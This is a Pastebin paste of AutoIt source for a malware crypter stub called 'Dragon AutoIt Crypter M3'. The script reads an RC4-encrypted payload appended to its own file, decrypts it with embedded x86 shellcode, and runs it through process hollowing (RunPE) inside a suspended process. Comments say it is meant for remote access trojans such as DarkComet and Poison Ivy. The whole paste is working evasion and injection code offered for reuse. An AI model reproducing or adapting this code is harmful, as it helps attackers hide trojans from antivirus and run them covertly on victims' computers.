Advertisement
Guest User

stub m3

a guest
Mar 11th, 2017
430
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.68 KB | None | 0 0
  1. #NoTrayIcon
  2. #Region ;**** Directives created by AutoIt3Wrapper_GUI ****
  3. #AutoIt3Wrapper_Icon=..\..\..\..\System\ICO HD\Enhancedlabs-Longhorn-Pinstripe-Network-copy.ico
  4. #AutoIt3Wrapper_Compression=4
  5. #AutoIt3Wrapper_UseUpx=n
  6. #EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
  7.  
  8. ;==============================================;
  9. ; Dragon AutoIt Crypter M3 ;
  10. ; Coded By M3 ;
  11. ; Thanks to TRANCEXX for RunPe ;
  12. ; Keep Credits if you Using Source ;
  13. ;==============================================;
  14.  
  15. SubMain()
  16.  
  17.  
  18. Func SubMain()
  19.  
  20. $sAppPath = @ScriptFullPath
  21. $sKey = "\\BYM3\\"
  22. $AppExe = $sAppPath
  23. $sArquive = FileRead($sAppPath)
  24. $sParams = StringInstr($sArquive, $sKey)
  25. $sLen = $sParams + sLenEx ($sKey)
  26. $sArquive = StringMid($sArquive, $sLen)
  27. Call (_RunPE(_RC4($sArquive, $sKey)))
  28.  
  29. EndFunc
  30.  
  31.  
  32.  
  33.  
  34. Func _RC4($Data, $key)
  35.  
  36.  
  37. Local $sOpcode = "0xC81001006A006A005356578B551031C989C84989D7F2AE484829C88945F085C00F84DC000000B90001000088C82C0188840DEFFEFFFFE2F38365F4008365FC00817DFC000100007D478B45FC31D2F775F0920345100FB6008B4DFC0FB68C0DF0FEFFFF01C80345F425FF0000008945F48B75FC8A8435F0FEFFFF8B7DF486843DF0FEFFFF888435F0FEFFFFFF45FCEBB08D9DF0FEFFFF31FF89FA39550C76638B85ECFEFFFF4025FF0000008985ECFEFFFF89D80385ECFEFFFF0FB6000385E8FEFFFF25FF0000008985E8FEFFFF89DE03B5ECFEFFFF8A0689DF03BDE8FEFFFF860788060FB60E0FB60701C181E1FF0000008A840DF0FEFFFF8B750801D6300642EB985F5E5BC9C21000"
  38. Local $CodeBuffer = DllStructCreate("byte[" & BinaryLen($sOpcode) & "]")
  39. DllStructSetData($CodeBuffer, 1, $sOpcode)
  40. Local $Buffer = DllStructCreate("byte[" & BinaryLen($Data) & "]")
  41. DllStructSetData($Buffer, 1, $Data)
  42. DllCall("user32.dll", "none", "CallWindowProc", "ptr", DllStructGetPtr($CodeBuffer), "ptr", DllStructGetPtr($Buffer), "int", BinaryLen($Data), "str", $key, "int", 0)
  43. Local $Ret = DllStructGetData($Buffer, 1)
  44. $Buffer = 0
  45. $CodeBuffer = 0
  46. Return $Ret
  47.  
  48.  
  49. EndFunc
  50.  
  51.  
  52.  
  53.  
  54. Func sLenEx($sStr)
  55.  
  56. Local $Result , $i , $bLen
  57. Do
  58. $i = $i + 1
  59. $bLen = StringLeft($sStr, $i)
  60. $Result = $i
  61. Until $sStr = $bLen
  62. Return $Result
  63.  
  64. EndFunc
  65.  
  66.  
  67.  
  68.  
  69. Func _RunPE($BBINARYIMAGE)
  70.  
  71. ; RunPe
  72. ; Compatible with RATs >> Cybergate | SpyNet | Poyson Ivy | DarkCommet
  73. Local $BBINARY = Binary($BBINARYIMAGE)
  74. Local $TBINARY = DllStructCreate("byte[" & BinaryLen($BBINARY) & "]")
  75. DllStructSetData($TBINARY, 1, $BBINARY)
  76. Local $PPOINTER = DllStructGetPtr($TBINARY)
  77. Local $TSTARTUPINFO = DllStructCreate("dword cbSize;" & "ptr Reserved;" & "ptr Desktop;" & "ptr Title;" & "dword X;" & "dword Y;" & "dword XSize;" & "dword YSize;" & "dword XCountChars;" & "dword YCountChars;" & "dword FillAttribute;" & "dword Flags;" & "ushort ShowWindow;" & "ushort Reserved2;" & "ptr Reserved2;" & "ptr hStdInput;" & "ptr hStdOutput;" & "ptr hStdError")
  78. Local $TPROCESS_INFORMATION = DllStructCreate("ptr Process;" & "ptr Thread;" & "dword ProcessId;" & "dword ThreadId")
  79. Local $ACALL = DllCall("Kernel32", "int", "CreateProcessW", "wstr", @AutoItExe, "ptr", 0, "ptr", 0, "ptr", 0, "int", 0, "dword", 4, "ptr", 0, "ptr", 0, "ptr", DllStructGetPtr($TSTARTUPINFO), "ptr", DllStructGetPtr($TPROCESS_INFORMATION))
  80. Local $HPROCESS = DllStructGetData($TPROCESS_INFORMATION, "Process")
  81. Local $HTHREAD = DllStructGetData($TPROCESS_INFORMATION, "Thread")
  82. Local $TCONTEXT = DllStructCreate("dword ContextFlags;" & "dword Dr0;" & "dword Dr1;" & "dword Dr2;" & "dword Dr3;" & "dword Dr6;" & "dword Dr7;" & "dword ControlWord;" & "dword StatusWord;" & "dword TagWord;" & "dword ErrorOffset;" & "dword ErrorSelector;" & "dword DataOffset;" & "dword DataSelector;" & "byte RegisterArea[80];" & "dword Cr0NpxState;" & "dword SegGs;" & "dword SegFs;" & "dword SegEs;" & "dword SegDs;" & "dword Edi;" & "dword Esi;" & "dword Ebx;" & "dword Edx;" & "dword Ecx;" & "dword Eax;" & "dword Ebp;" & "dword Eip;" & "dword SegCs;" & "dword EFlags;" & "dword Esp;" & "dword SegS")
  83. DllStructSetData($TCONTEXT, "ContextFlags", 65538)
  84. $ACALL = DllCall("Kernel32", "int", "GetThreadContext", "ptr", $HTHREAD, "ptr", DllStructGetPtr($TCONTEXT))
  85. Local $TIMAGE_DOS_HEADER = DllStructCreate("char Magic[2];" & "ushort BytesOnLastPage;" & "ushort Pages;" & "ushort Relocations;" & "ushort SizeofHeader;" & "ushort MinimumExtra;" & "ushort MaximumExtra;" & "ushort SS;" & "ushort SP;" & "ushort Checksum;" & "ushort IP;" & "ushort CS;" & "ushort Relocation;" & "ushort Overlay;" & "char Reserved[8];" & "ushort OEMIdentifier;" & "ushort OEMInformation;" & "char Reserved2[20];" & "dword AddressOfNewExeHeader", $PPOINTER)
  86. $PPOINTER += DllStructGetData($TIMAGE_DOS_HEADER, "AddressOfNewExeHeader")
  87. Local $SMAGIC = DllStructGetData($TIMAGE_DOS_HEADER, "Magic")
  88. If Not ($SMAGIC == "MZ") Then
  89. DllCall("Kernel32", "int", "TerminateProcess", "ptr", $HPROCESS, "dword", 0)
  90. Return SetError(3, 0, 0)
  91. EndIf
  92. Local $TIMAGE_NT_SIGNATURE = DllStructCreate("dword Signature", $PPOINTER)
  93. $PPOINTER += 4
  94. If DllStructGetData($TIMAGE_NT_SIGNATURE, "Signature") <> 17744 Then
  95. DllCall("Kernel32", "int", "TerminateProcess", "ptr", $HPROCESS, "dword", 0)
  96. Return SetError(4, 0, 0)
  97. EndIf
  98. Local $TIMAGE_FILE_HEADER = DllStructCreate("ushort Machine;" & "ushort NumberOfSections;" & "dword TimeDateStamp;" & "dword PointerToSymbolTable;" & "dword NumberOfSymbols;" & "ushort SizeOfOptionalHeader;" & "ushort Characteristics", $PPOINTER)
  99. Local $INUMBEROFSECTIONS = DllStructGetData($TIMAGE_FILE_HEADER, "NumberOfSections")
  100. $PPOINTER += 20
  101. Local $TIMAGE_OPTIONAL_HEADER = DllStructCreate("ushort Magic;" & "ubyte MajorLinkerVersion;" & "ubyte MinorLinkerVersion;" & "dword SizeOfCode;" & "dword SizeOfInitializedData;" & "dword SizeOfUninitializedData;" & "dword AddressOfEntryPoint;" & "dword BaseOfCode;" & "dword BaseOfData;" & "dword ImageBase;" & "dword SectionAlignment;" & "dword FileAlignment;" & "ushort MajorOperatingSystemVersion;" & "ushort MinorOperatingSystemVersion;" & "ushort MajorImageVersion;" & "ushort MinorImageVersion;" & "ushort MajorSubsystemVersion;" & "ushort MinorSubsystemVersion;" & "dword Win32VersionValue;" & "dword SizeOfImage;" & "dword SizeOfHeaders;" & "dword CheckSum;" & "ushort Subsystem;" & "ushort DllCharacteristics;" & "dword SizeOfStackReserve;" & "dword SizeOfStackCommit;" & "dword SizeOfHeapReserve;" & "dword SizeOfHeapCommit;" & "dword LoaderFlags;" & "dword NumberOfRvaAndSizes", $PPOINTER)
  102. $PPOINTER += 96
  103. Local $IMAGIC = DllStructGetData($TIMAGE_OPTIONAL_HEADER, "Magic")
  104. If $IMAGIC <> 267 Then
  105. DllCall("Kernel32", "int", "TerminateProcess", "ptr", $HPROCESS, "dword", 0)
  106. Return SetError(5, 0, 0)
  107. EndIf
  108. Local $IENTRYPOINTNEW = DllStructGetData($TIMAGE_OPTIONAL_HEADER, "AddressOfEntryPoint")
  109. $PPOINTER += 128
  110. Local $POPTIONALHEADERIMAGEBASENEW = DllStructGetData($TIMAGE_OPTIONAL_HEADER, "ImageBase")
  111. Local $IOPTIONALHEADERSIZEOFIMAGENEW = DllStructGetData($TIMAGE_OPTIONAL_HEADER, "SizeOfImage")
  112. $ACALL = DllCall("Ntdll", "int", "NtUnmapViewOfSection", "ptr", $HPROCESS, "ptr", $POPTIONALHEADERIMAGEBASENEW)
  113. $ACALL = DllCall("Kernel32", "ptr", "VirtualAllocEx", "ptr", $HPROCESS, "ptr", $POPTIONALHEADERIMAGEBASENEW, "dword", $IOPTIONALHEADERSIZEOFIMAGENEW, "dword", 12288, "dword", 64)
  114. Local $PREMOTECODE = $ACALL[0]
  115. Local $PHEADERS_NEW = DllStructGetPtr($TIMAGE_DOS_HEADER)
  116. Local $IOPTIONALHEADERSIZEOFHEADERSNEW = DllStructGetData($TIMAGE_OPTIONAL_HEADER, "SizeOfHeaders")
  117. $ACALL = DllCall("Kernel32", "int", "WriteProcessMemory", "ptr", $HPROCESS, "ptr", $PREMOTECODE, "ptr", $PHEADERS_NEW, "dword", $IOPTIONALHEADERSIZEOFHEADERSNEW, "dword*", 0)
  118. Local $TIMAGE_SECTION_HEADER
  119. Local $ISIZEOFRAWDATA, $PPOINTERTORAWDATA
  120. Local $IVIRTUALADDRESS
  121. For $I = 1 To $INUMBEROFSECTIONS
  122. $TIMAGE_SECTION_HEADER = DllStructCreate("char Name[8];" & "dword UnionOfVirtualSizeAndPhysicalAddress;" & "dword VirtualAddress;" & "dword SizeOfRawData;" & "dword PointerToRawData;" & "dword PointerToRelocations;" & "dword PointerToLinenumbers;" & "ushort NumberOfRelocations;" & "ushort NumberOfLinenumbers;" & "dword Characteristics", $PPOINTER)
  123. $ISIZEOFRAWDATA = DllStructGetData($TIMAGE_SECTION_HEADER, "SizeOfRawData")
  124. $PPOINTERTORAWDATA = DllStructGetPtr($TIMAGE_DOS_HEADER) + DllStructGetData($TIMAGE_SECTION_HEADER, "PointerToRawData")
  125. $IVIRTUALADDRESS = DllStructGetData($TIMAGE_SECTION_HEADER, "VirtualAddress")
  126. If $ISIZEOFRAWDATA Then
  127. $ACALL = DllCall("Kernel32", "int", "WriteProcessMemory", "ptr", $HPROCESS, "ptr", $PREMOTECODE + $IVIRTUALADDRESS, "ptr", $PPOINTERTORAWDATA, "dword", $ISIZEOFRAWDATA, "dword*", 0)
  128. EndIf
  129. $PPOINTER += 40
  130. Next
  131. DllStructSetData($TCONTEXT, "Eax", $PREMOTECODE + $IENTRYPOINTNEW)
  132. $ACALL = DllCall("Kernel32", "int", "SetThreadContext", "ptr", $HTHREAD, "ptr", DllStructGetPtr($TCONTEXT))
  133. $ACALL = DllCall("Kernel32", "int", "ResumeThread", "ptr", $HTHREAD)
  134. EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement